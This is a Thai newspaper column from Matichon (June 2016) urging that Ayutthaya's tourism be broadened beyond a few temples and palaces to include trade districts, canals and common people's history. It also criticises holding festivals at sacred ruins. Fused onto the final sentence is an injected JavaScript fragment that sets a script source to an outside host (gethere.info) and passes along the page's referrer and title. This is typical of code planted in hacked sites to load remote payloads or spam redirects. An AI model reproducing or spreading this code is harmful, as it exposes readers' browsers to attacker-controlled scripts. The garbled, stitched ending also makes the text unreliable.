มติชนรายวัน ฉบับประจำวันศุกร์ที่ 17 มิถุนายน 2559

 

เพิ่มจุดขายท่องเที่ยวอยุธยา

 

          อยุธยาถ้าจะทำเป็นเมืองท่องเที่ยวระดับโลก (ตามที่คณะทำงานภาคเอกชนของรัฐบาลบอกล่าสุด) ต้องสร้างจุดขายเพิ่มอีกให้มากกว่าที่รู้กันทั่วไปขณะนี้

          เพราะสถานที่ท่องเที่ยวเชิงประวัติศาสตร์และวัฒนธรรมมีมากและหลากหลาย ทั้งในเกาะเมืองและนอกเกาะเมือง แต่ทางการแช่แข็งไว้ไม่กี่แห่งและไม่กี่ประเภทนานมากหลายสิบปีแล้ว

          ในเกาะเมือง มีเฉพาะวัด กับ วัง แต่ไม่มีชุมชนย่านการค้า, ถนน, คลอง ซึ่งมีมากและเต็มเกาะ ฯลฯ

          นอกเกาะเมือง มีเฉพาะวัดใหญ่ๆ ไม่กี่แห่ง เช่น วัดพนัญเชิง, วัดใหญ่ชัยมงคล, วัดไชยวัฒนาราม ฯลฯ แต่ไม่มีมัสยิด, ชุมชน, ย่านการค้านานาชาติ, คลอง, ซ่อง, แหล่งทำนา-อาหาร, ฯลฯ โดยเฉพาะย่านการผลิตสิ่งของ ซึ่งมีทุกทิศโดยรอบพระนคร และมีเอกสารยุคอยุธยาบันทึกไว้ จะยกตัวอย่างดังนี้

          ย่านสำพะนี อยู่ทางตะวันตกเฉียงใต้ (ปัจจุบันเป็นท้องที่ ต. สำเภาล่ม ใกล้วัดพุทไธศวรรย์) ยุคอยุธยามีโรงตีเหล็ก รับจ้างตีมีดพร้า กับมีวางขายด้วย พร้อมรับจ้างหล่อครกเหล็กกับสากเหล็ก [ไอ้เสมา คนตีเหล็กอยู่ย่านสำพะนี เป็นพระเอกนิยายอิงประวัติศาสตร์อยุธยา เรื่องขุนศึก ของไม้เมืองเดิม] “สำพะนี” เป็นชื่อขนมหวานอย่างหนึ่งของมุสลิม

          ทุกอย่างสร้างใหม่ได้อย่างมีคุณภาพ แล้วดีด้วย เท่ากับเพิ่มจุดขายกระตุ้นการท่องเที่ยว

          แต่จัดมหกรรมเทศกาลต่างๆ ในเขตโบราณสถานศักดิ์สิทธิ์ของอยุธยา เท่ากับสนับสนุนให้ทำลายโดยไม่รู้ตัว เช่น วังโบราณ, วัดพระศรีสรรเพชญ์, วัดมงคลบพิตร, วัดมหาธาตุ, วัดราชบูรณะ ฯลฯ

          ในประเทศพัฒนาแล้วเขาไม่ทำกัน ถ้าจะทำเพื่อขายต้องเลี่ยงไปให้พ้น จะได้รักษาไว้ขายนานๆ ไม่ใช่ขายหนเดียว

          ประวัติศาสตร์สังคมยุคอยุธยามีวิถี กิน ขี้ ปี้ นอน ร้องรำทำเพลง ของสามัญชนคนทั้งหลาย มีเอกสารเป็นพยานยืนยันครบถ้วน แต่ทางการที่เกี่ยวข้องตัดทิ้งไป

          ส่วนครูบาอาจารย์มหาวิทยาลัยที่มีการเรียนการสอนวิชาความรู้เรื่องนี้ ก็ไม่เอาใจใส่ เพราะ “ดีแต่พูด” แล้วไม่ทำอะไรแม้กระทั่งประวัติศาสตร์ท้องถิ่นที่ตนอยู่s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;